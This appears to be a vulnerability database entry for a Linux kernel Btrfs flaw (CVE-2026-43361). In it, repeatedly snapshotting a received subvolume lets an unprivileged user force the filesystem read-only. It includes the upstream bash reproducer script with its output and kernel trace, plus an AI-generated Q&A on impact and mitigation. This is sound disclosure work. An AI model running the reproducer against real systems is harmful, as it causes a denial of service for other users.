CVE-2026-43361
Received Received - Intake
Transaction Abort in BTRFS Filesystem

Publication date: 2026-05-08

Last updated on: 2026-05-08

Assigner: kernel.org

Description
In the Linux kernel, the following vulnerability has been resolved: btrfs: fix transaction abort when snapshotting received subvolumes Currently a user can trigger a transaction abort by snapshotting a previously received snapshot a bunch of times until we reach a BTRFS_UUID_KEY_RECEIVED_SUBVOL item overflow (the maximum item size we can store in a leaf). This is very likely not common in practice, but if it happens, it turns the filesystem into RO mode. The snapshot, send and set_received_subvol and subvol_setflags (used by receive) don't require CAP_SYS_ADMIN, just inode_owner_or_capable(). A malicious user could use this to turn a filesystem into RO mode and disrupt a system. Reproducer script: $ cat test.sh #!/bin/bash DEV=/dev/sdi MNT=/mnt/sdi # Use smallest node size to make the test faster. mkfs.btrfs -f --nodesize 4K $DEV mount $DEV $MNT # Create a subvolume and set it to RO so that it can be used for send. btrfs subvolume create $MNT/sv touch $MNT/sv/foo btrfs property set $MNT/sv ro true # Send and receive the subvolume into snaps/sv. mkdir $MNT/snaps btrfs send $MNT/sv | btrfs receive $MNT/snaps # Now snapshot the received subvolume, which has a received_uuid, a # lot of times to trigger the leaf overflow. total=500 for ((i = 1; i <= $total; i++)); do echo -ne "\rCreating snapshot $i/$total" btrfs subvolume snapshot -r $MNT/snaps/sv $MNT/snaps/sv_$i > /dev/null done echo umount $MNT When running the test: $ ./test.sh (...) Create subvolume '/mnt/sdi/sv' At subvol /mnt/sdi/sv At subvol sv Creating snapshot 496/500ERROR: Could not create subvolume: Value too large for defined data type Creating snapshot 497/500ERROR: Could not create subvolume: Read-only file system Creating snapshot 498/500ERROR: Could not create subvolume: Read-only file system Creating snapshot 499/500ERROR: Could not create subvolume: Read-only file system Creating snapshot 500/500ERROR: Could not create subvolume: Read-only file system And in dmesg/syslog: $ dmesg (...) [251067.627338] BTRFS warning (device sdi): insert uuid item failed -75 (0x4628b21c4ac8d898, 0x2598bee2b1515c91) type 252! [251067.629212] ------------[ cut here ]------------ [251067.630033] BTRFS: Transaction aborted (error -75) [251067.630871] WARNING: fs/btrfs/transaction.c:1907 at create_pending_snapshot.cold+0x52/0x465 [btrfs], CPU#10: btrfs/615235 [251067.632851] Modules linked in: btrfs dm_zero (...) [251067.644071] CPU: 10 UID: 0 PID: 615235 Comm: btrfs Tainted: G W 6.19.0-rc8-btrfs-next-225+ #1 PREEMPT(full) [251067.646165] Tainted: [W]=WARN [251067.646733] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.2-0-gea1b7a073390-prebuilt.qemu.org 04/01/2014 [251067.648735] RIP: 0010:create_pending_snapshot.cold+0x55/0x465 [btrfs] [251067.649984] Code: f0 48 0f (...) [251067.653313] RSP: 0018:ffffce644908fae8 EFLAGS: 00010292 [251067.653987] RAX: 00000000ffffff01 RBX: ffff8e5639e63a80 RCX: 00000000ffffffd3 [251067.655042] RDX: ffff8e53faa76b00 RSI: 00000000ffffffb5 RDI: ffffffffc0919750 [251067.656077] RBP: ffffce644908fbd8 R08: 0000000000000000 R09: ffffce644908f820 [251067.657068] R10: ffff8e5adc1fffa8 R11: 0000000000000003 R12: ffff8e53c0431bd0 [251067.658050] R13: ffff8e5414593600 R14: ffff8e55efafd000 R15: 00000000ffffffb5 [251067.659019] FS: 00007f2a4944b3c0(0000) GS:ffff8e5b27dae000(0000) knlGS:0000000000000000 [251067.660115] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [251067.660943] CR2: 00007ffc5aa57898 CR3: 00000005813a2003 CR4: 0000000000370ef0 [251067.661972] Call Trace: [251067.662292] <TASK> [251067.662653] create_pending_snapshots+0x97/0xc0 [btrfs] [251067.663413] btrfs_commit_transaction+0x26e/0xc00 [btrfs] [251067.664257] ? btrfs_qgroup_convert_reserved_meta+0x35/0x390 [btrfs] [251067.665238] ? _raw_spin_unlock+0x15/0x30 [251067.665837] ? record_root_ ---truncated---
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Meta Information
Published
2026-05-08
Last Modified
2026-05-08
Generated
2026-05-09
AI Q&A
2026-05-08
EPSS Evaluated
N/A
NVD
CVE-2026-43361
EUVD
EUVD-2026-28667
Affected Vendors & Products
Showing 1 associated CPE
Vendor Product Version / Range
linux linux_kernel From 6.19.0-rc8 (inc)
Helpful Resources
Exploitability
CWE
CWE Icon
KEV
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CWE ID Description
CWE-UNKNOWN
Attack-Flow Graph
AI Powered Q&A
Can you explain this vulnerability to me?

This vulnerability exists in the Linux kernel's Btrfs filesystem. It allows a user to trigger a transaction abort by repeatedly snapshotting a previously received snapshot until a specific internal item (BTRFS_UUID_KEY_RECEIVED_SUBVOL) overflows. This overflow causes the filesystem to switch to read-only (RO) mode.

The snapshot, send, and receive operations involved do not require full administrative privileges (CAP_SYS_ADMIN), only inode ownership or capability. Therefore, a malicious user with limited permissions can exploit this to disrupt the system by making the filesystem read-only.


How can this vulnerability impact me? :

The primary impact of this vulnerability is that an attacker can cause the affected Btrfs filesystem to become read-only by triggering a transaction abort. This effectively disrupts normal filesystem operations, preventing writes and potentially causing system instability or denial of service.

Since the exploit does not require full administrative privileges, it increases the risk that a non-privileged user could disrupt system functionality.


How can this vulnerability be detected on my network or system? Can you suggest some commands?

This vulnerability can be detected by monitoring for errors related to BTRFS transaction aborts and read-only filesystem states when snapshotting received subvolumes multiple times.

You can use the following commands to reproduce or detect the issue on a system using BTRFS:

  • Check dmesg or syslog for BTRFS warnings and transaction abort messages, e.g., run `dmesg | grep BTRFS`.
  • Attempt to create multiple snapshots of a received subvolume using a script similar to the provided reproducer script, which repeatedly snapshots a received subvolume until the filesystem turns read-only.
  • Observe errors such as "Value too large for defined data type" or "Read-only file system" during snapshot creation attempts.

What immediate steps should I take to mitigate this vulnerability?

Immediate mitigation steps include preventing unprivileged users from repeatedly snapshotting received subvolumes to avoid triggering the BTRFS_UUID_KEY_RECEIVED_SUBVOL item overflow.

Since the snapshot, send, and receive operations do not require CAP_SYS_ADMIN but only inode_owner_or_capable(), restricting user permissions on BTRFS subvolumes and monitoring usage can help mitigate exploitation.

Additionally, applying the patch or update that fixes this vulnerability in the Linux kernel is the definitive mitigation.


How does this vulnerability affect compliance with common standards and regulations (like GDPR, HIPAA)?:

The provided information does not include any details about how this vulnerability affects compliance with common standards and regulations such as GDPR or HIPAA.


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